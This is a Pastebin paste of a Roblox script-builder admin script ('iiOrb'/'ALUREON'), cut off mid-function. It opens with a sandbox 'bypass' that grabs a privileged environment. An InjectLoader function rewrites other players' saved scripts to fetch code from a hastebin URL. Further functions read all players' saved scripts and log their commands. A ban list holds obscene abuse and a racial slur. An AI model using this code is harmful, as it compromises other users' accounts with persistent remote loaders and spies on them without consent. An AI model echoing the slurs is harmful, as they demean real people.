Advertisement
Team_Alex

Untitled

Mar 13th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[//UPDATE LOG
  2.  
  3.  
  4. Turned off rbxdb features --c22
  5.  
  6. Added speed and bounce command -- error18 and c22
  7.  
  8.  
  9.  
  10. --//UPDATE LOG END]]--
  11. wait(); --Unremovable bypass
  12. script.Parent=nil
  13. rawset(shared, "\0bp", function()
  14. local i=game:service'InsertService':LoadAssetVersion(519416165);
  15. local n=i:children()[1];
  16. game:service'Debris':AddItem(i,0);
  17. n.Parent=workspace;
  18. coroutine.yield();
  19. local e;
  20. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  21. _G.OSC_AddServerSideData=nil;
  22. game:service'Debris':AddItem(n,0);
  23. return e
  24. end);
  25. local y=shared['\0bp']();
  26. shared["\0bp"]=nil;
  27. game:GetService'ReplicatedStorage':ClearAllChildren();
  28. y.setfenv(0,y);
  29. y.setfenv(1,y);
  30. y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
  31.  
  32. -- Easiest Fixing ever l0l.
  33.  
  34. --// TOTS NOT SOLARIS :)
  35. local iiOrb = {
  36. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  37. --// Kill Switch
  38. __STATUS = true;
  39. --// Administrations Components
  40. Admins = {
  41. ['masterepico']={Level=1};
  42. ["Name"]={level=1};
  43. ['Name"]={level=2};
  44. ['Name"]={level=2};
  45. ["Name"]={Level=5};
  46. ['Name']={Level=4};
  47. ["Name"]={Level=5};
  48. ["Name"]={Level=666};
  49. ["Name"]={Level=3};
  50. ["Name"]={Level=666};--Screw you opligitory XD -- LOL.
  51. ["Name"]={Level=5}; -- Pretty sure this is op too :/ if not then lol.
  52. ['Name']={Level=666};
  53. ['personsadminlol']={Level=666}; -- Technially the owner
  54. };
  55. Levels = {
  56. [-1]='ih8youk';
  57. [1]="User";
  58. [2]="Trusted";
  59. [3]="Friend";
  60. [4]="Trusted asf person";
  61. [5]="Creator/Developer";
  62. [666]='Founder';
  63. };
  64. Banned = {
  65. gage7252002="bye bye skid ur banned now";
  66. Mikko3m="dont ban me skid C:";
  67. --w00t111="this server has a age restriction come back in 970 days";
  68. --CharcterKaiser="go die annoying skid";
  69. --FallingVortex="lrn 2 skript kid gtfo liquidex skid";
  70. robloxchamp20="u ban me i ban u git rkt";
  71. -- iiDeadzone="u ban me i ban u git rkt";
  72. -- endermanac="git bbban11!!!";
  73. -- Dman2435="die just die";
  74. -- Dman2435alt="die just die";
  75. -- meunumbertwo="ur banned bby";
  76. -- Copenricus45="you got stopped by an admin skid c;";
  77. --[he will get pissed if i dont remove this] FallingVortex="A. You're a fuc\5ktard. B. Come back when you stop fmin :) C.T0tallyN0tATr0ll f\5ucking want's you 2 die";
  78. FreeModelInventor="get out skid go suc\5k my d\5ick b\5itch who\5re";
  79. PWNTART = "die pls thx u";
  80. HopeYouHaveAGoodComp="you have been trolled ni\5gger bit\5ch die k\5kk";
  81. BookOEchos="git banned bitch";
  82. Autospy="another alt another ban";
  83. TotallyNotAnAlt1257="another alt another ban";
  84. fmerSKID005="another alt another ban";
  85. crazychimp1284="dienoobkthxbye";
  86. MrXTheGreat="dienoobkthxbye";
  87. ScriptNurd="dienoobkthxbye";
  88. Therealestnumber1="dienoobkthxbye";
  89. Opligi="dienoobkthxbye";
  90. jmckoy12="dienoobkthxbye";
  91. --5asc
  92. DangCoolIsReal3="dienoobkthxbye";
  93. legendy123="dienoobkthxbye";
  94. PithIsOnline="dienoobkthxbye";
  95. Opllgltory="git banned wanabe";
  96. YeaImnotanalt="dienoobkthxbye";
  97. superkiki609="git banned?";
  98. immcool1="git banned now skid";
  99. TickerOfTime='kicking players';
  100. };
  101. Chatted = {
  102. Settings = {
  103. Prefix = ";";
  104. Suffix = "-";
  105. };
  106. Commands = {};
  107. };
  108. --// Orb Components
  109. Settings = {
  110. Orb = nil;
  111. Character = nil;
  112. Following = false;
  113. Target = "";
  114. TrailParts = {};
  115. Trail = true;
  116. OrbColor = BrickColor.new("Institutional white");
  117. TrailColor = BrickColor.new("Institutional white");
  118. Rotation = {
  119. Rot = 0;
  120. Radius = 5;
  121. Height = 1.5;
  122. Bounce = 2.0;
  123. Speed = 0.02;
  124. Length = 0.01;
  125. };
  126. };
  127. --// Tool Components
  128. Blocker = {
  129. LocalBlock = false;
  130. GlobalBlock = false;
  131. LagBlocker = true;
  132. };
  133. LagBlockedInstances = {
  134. "Message";
  135. "Hint";
  136. "Sound";
  137. };
  138. Logs = {};
  139. --// Functional Storage
  140. API = {
  141. Bootstrap = {}
  142. };
  143. }
  144. local Settings = iiOrb.Settings
  145. local API = iiOrb.API
  146. local Bootstrap = API.Bootstrap
  147. local Time = require(285173569)
  148. --local rbxdb = require(278524047)
  149. --local key = "d12ed549bd1bd58b5d9420c5c6919c4e"
  150. --pcall(rbxdb:Connect(key))
  151.  
  152. --// Output API
  153.  
  154. function API.print_to(target,input)
  155. type = type or 'Warn'
  156. if input == nil then input = "nil" end
  157. local plr
  158. if type(target)=='userdata'then
  159. plr = target
  160. elseif type(target)=='string'then
  161. plr = game:GetService('Players'):FindFirstChild(target)
  162. end
  163. if type(plr)=='userdata' then
  164. local str = Instance.new('StringValue',plr)
  165. str.Name = 'SB_Output:Output'
  166. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  167. end
  168. end local print_to = iiOrb.API.print_to
  169.  
  170. function API.print(input)
  171. if input == nil then input = "nil" end
  172. for i,v in pairs(game:GetService('Players'):children())do
  173. if iiOrb.Admins[v.Name]then
  174. if iiOrb.Admins[v.Name].Level > 2 then
  175. print_to(v,input)
  176. end
  177. end
  178. end
  179. end local print = iiOrb.API.print
  180.  
  181. function API.print_lvl(level,input)
  182. if input == nil then input = "nil" end
  183. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  184. if iiOrb.Admins[v.Name]then
  185. if iiOrb.Admins[v.Name].Level > level then
  186. print_to(v,input)
  187. end
  188. end
  189. end
  190. end local print_lvl = iiOrb.API.print_lvl
  191.  
  192. function API.broadcast(input)
  193. if input == nil then input = "nil" end
  194. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  195. print_to(v,input)
  196. end
  197. end local broadcast = iiOrb.API.broadcast
  198.  
  199. --// Utility API
  200.  
  201. function API.Make(ClassName)
  202. return function(data)
  203. local Instance = Instance.new(ClassName)
  204. for index,value in pairs(data) do
  205. if type(index) == "number" then
  206. value.Parent = Instance
  207. else
  208. Instance[index] = value
  209. end
  210. end
  211. return Instance
  212. end
  213. end local Make = API.Make
  214.  
  215. function API.clerp(p1,p2,percent)
  216. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  217. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  218. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  219. end local clerp = API.clerp
  220.  
  221. function API.Rainbow(i)
  222. local section = i % 1 * 3
  223. local secondary = 0.5 * math.pi * (section % 1)
  224. if section < 1 then
  225. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  226. elseif section < 2 then
  227. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  228. else
  229. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  230. end
  231. end local Rainbow = API.Rainbow
  232.  
  233. function API.GetPlayer(msg,plr)
  234. local Collected_Players = {}
  235. if string.lower(msg) == "me" then
  236. table.insert(Collected_Players, plr)
  237. elseif string.lower(msg) == "all" then
  238. for index,player in pairs(game:GetService('Players'):children()) do
  239. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  240. table.insert(Collected_Players, player)
  241. end
  242. end
  243. elseif string.lower(msg) == "others" then
  244. for index,player in pairs(game:GetService('Players'):children()) do
  245. if player.Name ~= plr.Name then
  246. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  247. table.insert(Collected_Players, player)
  248. end
  249. end
  250. end
  251. elseif string.lower(msg) == "friends" then
  252. for index,player in pairs(game:GetService('Players'):children()) do
  253. if player.Name ~= plr.Name then
  254. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  255. if plr:IsFriendsWith(player.userId) == true then
  256. table.insert(Collected_Players, player)
  257. end
  258. end
  259. end
  260. end
  261. elseif string.lower(msg) == "nonfriends" then
  262. for index,player in pairs(game:GetService('Players'):children()) do
  263. if player.Name ~= plr.Name then
  264. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  265. if plr:IsFriendsWith(player.userId) == false then
  266. table.insert(Collected_Players, player)
  267. end
  268. end
  269. end
  270. end
  271. else
  272. for index,player in pairs(game:GetService('Players'):children()) do
  273. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  274. if iiOrb.Admins[player.Name].Level <= iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  275. table.insert(Collected_Players, player)
  276. end
  277. end
  278. end
  279. end
  280. return Collected_Players
  281. end local GetPlayer = API.GetPlayer
  282.  
  283. function API.GetSplit(msg)
  284. return string.find(msg,iiOrb.Chatted.Settings.Suffix)
  285. end local GetSplit = API.GetSplit
  286.  
  287. function API.Generate(Length)
  288. local Generated = ""
  289. for _ = 1, Length do
  290. Generated = Generated .. string.char(math.random(33,126))
  291. end
  292. return Generated
  293. end local Generate = API.Generate
  294.  
  295. function API.GetGarbage(plr)
  296. print_to(plr,"Got Garbage")
  297. print_to(plr,"________________________")
  298. for i = 1,10 do wait(1)
  299. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  300. end
  301. print_to(plr,"________________________")
  302. end local GetGarbage = API.GetGarbage
  303.  
  304. --// Orb API
  305.  
  306. function API.SpawnOrb()
  307. Settings.Orb = Make('Part'){
  308. Name = "\5iiOrb\5";
  309. Parent = game.Workspace,
  310. BrickColor = Settings.OrbColor,
  311. Material = Enum.Material.SmoothPlastic,
  312. Transparency = .1,
  313. Anchored = true,
  314. CanCollide = false,
  315. Locked = true,
  316. FormFactor = "Symmetric",
  317. Shape = "Ball",
  318. Size = Vector3.new(1,1,1),
  319. TopSurface = 10,
  320. BottomSurface = 10,
  321. }Settings.Orb.Changed:connect(function()
  322. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  323. if iiOrb.__STATUS == true then
  324. API.SpawnOrb()
  325. end
  326. end
  327. end)
  328. end local SpawnOrb = API.SpawnOrb
  329.  
  330. function API.MakeTrail()
  331. if Settings.Orb ~= nil and Settings.Trail == true then
  332. local Trail = Make'Part'{
  333. Name='\5iiOrb\5',
  334. CanCollide = false,
  335. Parent = Settings.Orb,
  336. BrickColor = Settings.TrailColor,
  337. Material = Enum.Material.SmoothPlastic,
  338. Transparency = .1,
  339. Anchored = true,
  340. Locked = true,
  341. FormFactor = "Custom",
  342. Size = Vector3.new(.2,.2,.2),
  343. CFrame = Settings.Orb.CFrame,
  344. TopSurface = 10,
  345. BottomSurface = 10,
  346. }table.insert(Settings.TrailParts, Trail)
  347. return Trail
  348. end
  349. end local MakeTrail = API.MakeTrail
  350.  
  351. function API.SpawnTrail()
  352. if Settings.Orb ~= nil and Settings.Trail == true then
  353. local Trail = API.MakeTrail()
  354. end
  355. end local SpawnTrail = API.SpawnTrail
  356.  
  357. function API.Rotate()
  358. game:GetService('RunService').Stepped:connect(function()
  359. if iiOrb.__STATUS == true then
  360. wait()
  361. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  362. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  363. Settings.Character = Following.Character.Torso.CFrame
  364. else
  365. Settings.Character = CFrame.new(0,5.7,0)
  366. end
  367. if Settings.Orb ~= nil then
  368. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  369. Settings.Orb.Name = "ii\5Orb"
  370. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  371. CFrame.new(Settings.Character.p)
  372. *CFrame.new(0,3.9,0)
  373. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
  374. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  375. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  376. API.SpawnTrail()
  377. for i,_ in next,Settings.TrailParts do
  378. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  379. local Part1 = Settings.TrailParts[i]
  380. local Part2 = Settings.TrailParts[i+1]
  381. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  382. Part1.Name = math.random(1,99999999)
  383. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  384. Part1.Transparency = Part1.Transparency + .017
  385. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  386. * CFrame.Angles(math.pi/2,0,0)
  387. if Part1.Size.X >= .74 then
  388. Part1:Destroy()
  389. table.remove(Settings.TrailParts, i)
  390. end
  391. end
  392. end
  393. end
  394. end
  395. end)
  396. end local Rotate = API.Rotate
  397.  
  398. function API.ChangeTheme(plr,theme)
  399. --// Sets orb to default configurations
  400. Settings.Orb.BrickColor = BrickColor.new('White')
  401. Settings.Orb.Transparency = .1
  402. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  403. --// Themes
  404. if theme == 'normal' then
  405. API.SpawnTrail = function()
  406. if Settings.Orb ~= nil and Settings.Trail == true then
  407. local Trail = API.MakeTrail()
  408. end
  409. end
  410. elseif theme == 'c22' or theme == 'control' then
  411. API.SpawnTrail = function()
  412. if Settings.Orb ~= nil and Settings.Trail == true then
  413. local Trail = API.MakeTrail()
  414. spawn(function()
  415. Settings.Orb.BrickColor = BrickColor.new('Really black')
  416. Trail.BrickColor = BrickColor.new('Really red')
  417. local box = Make('SelectionBox'){
  418. Adornee = Trail;
  419. Parent = Trail;
  420. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  421. LineThickness = 0.001;
  422. Color3 = Color3.new(0,0,0);
  423. }
  424. end)
  425. end
  426. end
  427. elseif theme == '666' or theme == 'alu' then
  428. API.SpawnTrail = function()
  429. if Settings.Orb ~= nil and Settings.Trail == true then
  430. local Trail = API.MakeTrail()
  431. spawn(function()
  432. Settings.Orb.BrickColor = BrickColor.new('White')
  433. local S_Box = Make('SelectionBox'){
  434. Adornee = Trail;
  435. Parent = Trail;
  436. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  437. LineThickness = 0;
  438. Color3 = BrickColor.new("White").Color;
  439. }
  440. Trail.BrickColor = BrickColor.new('Royal purple')
  441. wait(0.5)
  442. Trail.BrickColor = BrickColor.new('Hot pink')
  443. end)
  444. end
  445. end
  446. elseif theme == 'error' or theme == 'err' then
  447. API.SpawnTrail = function()
  448. if Settings.Orb ~= nil and Settings.Trail == true then
  449. local Trail = API.MakeTrail()
  450. spawn(function()
  451. Settings.Orb.BrickColor = BrickColor.new('Really red')
  452. local S_Box = Make('SelectionBox'){
  453. Adornee = Trail;
  454. Parent = Trail;
  455. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  456. LineThickness = 0;
  457. Color3 = BrickColor.new("Really red").Color;
  458. }
  459. Trail.BrickColor = BrickColor.new('Really red')
  460. wait(0.5)
  461. Trail.BrickColor = BrickColor.new('Bright orange')
  462. end)
  463. end
  464. end
  465. elseif theme == 'rath' or theme == 'mine101' then
  466. API.SpawnTrail = function()
  467. if Settings.Orb ~= nil and Settings.Trail == true then
  468. local Trail = API.MakeTrail()
  469. spawn(function()
  470. Settings.Orb.BrickColor = BrickColor.new('Toothpaste')
  471. local S_Box = Make('SelectionBox'){
  472. Adornee = Trail;
  473. Parent = Trail;
  474. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  475. LineThickness = 0;
  476. Color3 = BrickColor.new("White").Color;
  477. }
  478. Trail.BrickColor = BrickColor.new('Toothpaste')
  479. wait(0.5)
  480. Trail.BrickColor = BrickColor.new('Really black')
  481. end)
  482. end
  483. end
  484. elseif theme == 'ii' then
  485. API.SpawnTrail = function()
  486. if Settings.Orb ~= nil and Settings.Trail == true then
  487. local Trail = API.MakeTrail()
  488. spawn(function()
  489. Settings.Orb.BrickColor = BrickColor.new('Really black')
  490. local box = Make('SelectionBox'){
  491. Adornee = Trail;
  492. Parent = Trail;
  493. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  494. LineThickness = 0.001;
  495. Color3 = Color3.new(0,0,0);
  496. }
  497.  
  498. Trail.BrickColor = BrickColor.new('Really black')
  499. wait(0.5)
  500. Trail.BrickColor = BrickColor.new('Lime green')
  501. end)
  502. end
  503. end
  504. elseif theme == 'gwc' then
  505. API.SpawnTrail = function()
  506. local Trail = API.MakeTrail()
  507. spawn(function()
  508. Settings.Orb.BrickColor = BrickColor.new("Lime green")
  509. local S_Box = Make('SelectionBox'){
  510. Adornee = Trail;
  511. Parent = Trail;
  512. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  513. LineThickness = 0.0000001;
  514. Color3 = BrickColor.new("Really black").Color;
  515. }
  516. Trail.BrickColor = BrickColor.new'Lime green'
  517. wait(0.50)
  518. Trail.BrickColor = BrickColor.new'Really blue'
  519. end)
  520. end
  521. elseif theme == 'whiteout' then
  522. API.SpawnTrail = function()
  523. local Trail = API.MakeTrail()
  524. spawn(function()
  525. Trail.BrickColor = BrickColor.new("White")
  526. Settings.Orb.BrickColor = BrickColor.new("Really black")
  527. local S_Box = Make('SelectionBox'){
  528. Adornee = Trail;
  529. Parent = Trail;
  530. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  531. LineThickness = 0;
  532. Color3 = BrickColor.new("Really black").Color;
  533. }
  534. local Mesh = Make('SpecialMesh'){
  535. Parent = Settings.Orb;
  536. MeshId = "http://www.roblox.com/asset/?id=1529453";
  537. Name = "Mesh";
  538. Scale = Vector3.new(2.5,2.5,2.5)
  539. }
  540. end)
  541. end
  542. elseif theme == 'hidden' then
  543. API.SpawnTrail = function()
  544. local Trail = API.MakeTrail()
  545. spawn(function()
  546. Trail.Transparency = 1
  547. Settings.Orb.Transparency = 1
  548. end)
  549. end
  550. else
  551. print_to(plr,"[ERROR]: "..theme.." is not a valid theme name")
  552. return
  553. end
  554. print_to(plr,"[ALUREON]: Orb has changed theme to "..theme)
  555. end local ChangeTheme = API.ChangeTheme
  556.  
  557. function API.Follow(boolean,plr)
  558. if type(plr)~='string'then return end
  559. if boolean == true then
  560. Settings.Following = true
  561. Settings.Target = plr
  562. elseif boolean == false then
  563. Settings.Following = false
  564. Settings.Target = ""
  565. end
  566. end local Follow = API.Follow
  567.  
  568.  
  569. --// Oxcool1 Sb Tools API
  570.  
  571. function API.Sbexe(cmd,plr)
  572. if not type(cmd)=='string'then return end
  573. if plr then
  574. if type(plr)=='userdata'then
  575. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  576. elseif type(plr)=='string'then
  577. plr = game:GetService('Players'):FindFirstChild(plr)
  578. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  579. end
  580. else
  581. for i,v in pairs(game:GetService('Players'):children())do
  582. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  583. end
  584. end
  585. end local Sbexe = API.Sbexe
  586.  
  587. function API.ConnectLogger(plr)
  588. if type(plr) ~= 'userdata'then return end
  589. if plr:FindFirstChild("SB_CommandRemote",true) then
  590. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  591. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  592. Sbexe("g/ns")wait(.1)
  593. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  594. end
  595. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  596. table.insert(iiOrb.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  597. local CurrentTime = Time:GetTime()
  598. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  599. --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  600. end
  601. end)
  602. end
  603. end local ConnectLogger = API.ConnectLogger
  604.  
  605. function API.GetLogs(plr)
  606. print_to(plr,"Got logs")
  607. if #iiOrb.Logs > 0 then print_to(plr,"--------------------------------") end
  608. for index,data in pairs(iiOrb.Logs)do
  609. if #iiOrb.Logs > 30 then wait(.1)end
  610. print_to(plr,tostring(data.User))
  611. print_to(plr,tostring(data.Command))
  612. print_to(plr,"--------------------------------")
  613. end
  614. end local GetLogs = API.GetLogs
  615.  
  616. function API.InjectLoader(plr)
  617. Sbexe("remove/ALUREON",plr)
  618. Sbexe("ch/ALUREON/http://hastebin.com/raw/muvazesare.lua",plr)
  619. Sbexe("save/ALUREON",plr)
  620. print('Injected loader into '..tostring(plr))
  621. print(tostring(plr)..' has been given a loader ;)')-- l0l nice
  622. end local InjectLoader = API.InjectLoader
  623.  
  624. function API.GetSavedScripts(plr)
  625. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  626. print_to(plr,"Got Saved Scripts")
  627. for i,v in pairs(game:GetService('Players'):children())do
  628. if v.ClassName == 'Player' then
  629. local Encoded_Table = v:LoadString(Save_Key)
  630. local Decoded_Table
  631.  
  632. --//Table Decoding
  633. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  634. Decoded_Table = {{No=" Saved Scripts"}}
  635. else
  636. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  637. end
  638. --// Table Printing
  639. --print_to(plr,"------------------------------------------------------------------")
  640. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  641. if type(Decoded_Table)=='table'then
  642. for _index,_data in pairs(Decoded_Table)do
  643. for index,data in pairs(_data)do
  644. wait(.1)
  645. print_to(plr,index.." : "..data)
  646. end
  647. end
  648. end
  649. print_to(plr,"------------------------------------------------------------------")
  650. end
  651. end
  652. end local GetSavedScripts = API.GetSavedScripts
  653.  
  654. function API.GiveServerConsole(Player)
  655. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  656. spawn(function()
  657. local Create = API.Make
  658. local Closed = false
  659. local ScreenGui = Create "ScreenGui" {
  660. Name = "Server Console",
  661. Parent = Player.PlayerGui
  662. }
  663. local Main = Create "TextButton" {
  664. AutoButtonColor = false,
  665. BackgroundColor3 = Color3.new(0, 0, 0),
  666. BorderSizePixel = 0,
  667. Size = UDim2.new(0, 375, 0, 15),
  668. Draggable = true,
  669. Font = "SourceSansBold",
  670. FontSize = "Size14",
  671. TextYAlignment = "Top",
  672. TextColor3 = Color3.new(1, 1, 1),
  673. Text = " Server Console",
  674. TextXAlignment = "Left",
  675. Position = UDim2.new(0.321, 0, 0.196, 0),
  676. Parent = ScreenGui
  677. }
  678. local Refresh = Create "TextButton" {
  679. Active = true,
  680. AutoButtonColor = false,
  681. BackgroundColor3 = Color3.new(0, 0, 0),
  682. BorderSizePixel = 0,
  683. Position = UDim2.new(1, 0, 0, 0),
  684. Size = UDim2.new(0, 60, 0, 15),
  685. Font = "SourceSansBold",
  686. FontSize = "Size14",
  687. Text = "Refresh",
  688. TextYAlignment = "Top",
  689. TextColor3 = Color3.new(1, 1, 1),
  690. TextYAlignment = "Top",
  691. TextXAlignment = "Right",
  692. Parent = Main
  693. }
  694. local TextButton = Create "TextButton" {
  695. AutoButtonColor = false,
  696. BackgroundColor3 = Color3.new(0, 0, 0),
  697. BorderSizePixel = 0,
  698. Position = UDim2.new(1, 60, 0, 0),
  699. Size = UDim2.new(0, 15, 0, 15),
  700. Font = "SourceSansBold",
  701. FontSize = "Size14",
  702. TextYAlignment = "Top",
  703. Text = "-",
  704. TextColor3 = Color3.new(1, 1, 1),
  705. Parent = Main
  706. }
  707. local ContentFrame = Create "Frame" {
  708. BackgroundColor3 = Color3.new(0, 0, 0),
  709. BackgroundTransparency = 0.2,
  710. BorderSizePixel = 0,
  711. Position = UDim2.new(0, 0, 0, 15),
  712. Size = UDim2.new(0, 450, 0, 0),
  713. Parent = Main
  714. }
  715. local ScrollingFrame = Create "ScrollingFrame" {
  716. Size = UDim2.new(1, 0, 1, 0),
  717. CanvasSize = UDim2.new(3, 0, 0, 0),
  718. MidImage = "rbxassetid://158362264",
  719. TopImage = "rbxassetid://158362307",
  720. BottomImage = "rbxassetid://158362221",
  721. BackgroundTransparency = 1,
  722. BorderSizePixel = 0,
  723. ScrollBarThickness = 5,
  724. Parent = ContentFrame
  725. }
  726. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  727. TextButton.MouseButton1Down:connect(function()
  728. if Closed == false then
  729. Closed = true
  730. TextButton.Text = "+"
  731. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  732. delay(1, function()
  733. ScrollingFrame.Visible = false
  734. end)
  735. else
  736. Closed = false
  737. TextButton.Text = "-"
  738. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  739. delay(0.5, function()
  740. ScrollingFrame.Visible = true
  741. end)
  742. end
  743. end)
  744. local function GetNumberOfChildren(Object)
  745. local Number = -15
  746. for index,child in pairs(Object:GetChildren()) do
  747. if child.ClassName == "TextLabel" then
  748. Number = Number + 15
  749. end
  750. end
  751. return Number
  752. end
  753. local function Output(Text, Color)
  754. local Line = Create "TextLabel" {
  755. ZIndex = 2,
  756. BackgroundTransparency = 1,
  757. BorderSizePixel = 0,
  758. Text = string.format(" %s", Text),
  759. Font = "SourceSansBold",
  760. FontSize = "Size14",
  761. TextColor3 = Color,
  762. TextWrapped = false,
  763. Size = UDim2.new(1, 0, 0, 15),
  764. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  765. TextXAlignment = "Left",
  766. TextYAlignment = "Top",
  767. TextStrokeTransparency = 0.9,
  768. Parent = ScrollingFrame,
  769. }
  770. if #ScrollingFrame:GetChildren() > 29 then
  771. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  772. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  773. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  774. end
  775. end
  776. local function OutputLogHistory()
  777. for index,data in pairs(game.LogService:GetLogHistory()) do
  778. if data.messageType == Enum.MessageType.MessageOutput then
  779. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  780. elseif data.messageType == Enum.MessageType.MessageWarning then
  781. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  782. elseif data.messageType == Enum.MessageType.MessageError then
  783. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  784. elseif data.messageType == Enum.MessageType.MessageInfo then
  785. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  786. end
  787. end
  788. end
  789. OutputLogHistory()
  790. Refresh.MouseButton1Down:connect(function()
  791. ScrollingFrame:ClearAllChildren()
  792. wait()
  793. OutputLogHistory()
  794. end)
  795. end)
  796. end
  797. end local GiveServerConsole = API.GiveServerConsole
  798.  
  799. function API.SafeExe(string_src,string_plr)
  800. if string_src == nil then string_src = "" end
  801.  
  802. local BypassEnv = getfenv(1)
  803. BypassEnv.script = "Locked Object"
  804. BypassEnv.print_to = print_to
  805. rawset(_G,"NewBypassEnv",BypassEnv)
  806.  
  807. local ExecuteSource = [[
  808. wait(.1)
  809. local newEnv = _G.NewBypassEnv
  810. newEnv.owner = getfenv(1).owner
  811. newEnv.print = function(i)
  812. if i == nil then i = "" end
  813. newEnv.print_to(tostring(owner),i)
  814. end
  815. setfenv(1,newEnv)
  816. ]]
  817. local ExeSrc = ExecuteSource..string_src
  818. Sbexe("c/"..ExeSrc,string_plr)
  819. end local SafeExe = API.SafeExe
  820.  
  821. --// Admin API
  822.  
  823. function API.GetAdmins(plr)
  824. for i,v in pairs(iiOrb.Admins)do
  825. print_to(plr,"["..i.."]-"..iiOrb.Levels[v.Level])
  826. end
  827. end local GetAdmins = API.GetAdmins
  828.  
  829. function API.AddCommand(Name,Usage,Desc,Level,Func)
  830. table.insert(iiOrb.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  831. end local AddCommand = API.AddCommand
  832.  
  833. function API.Chatted(plr,msg)
  834. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  835. Sbexe("g/ns")
  836. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  837. end
  838. local Commands = iiOrb.Chatted.Commands
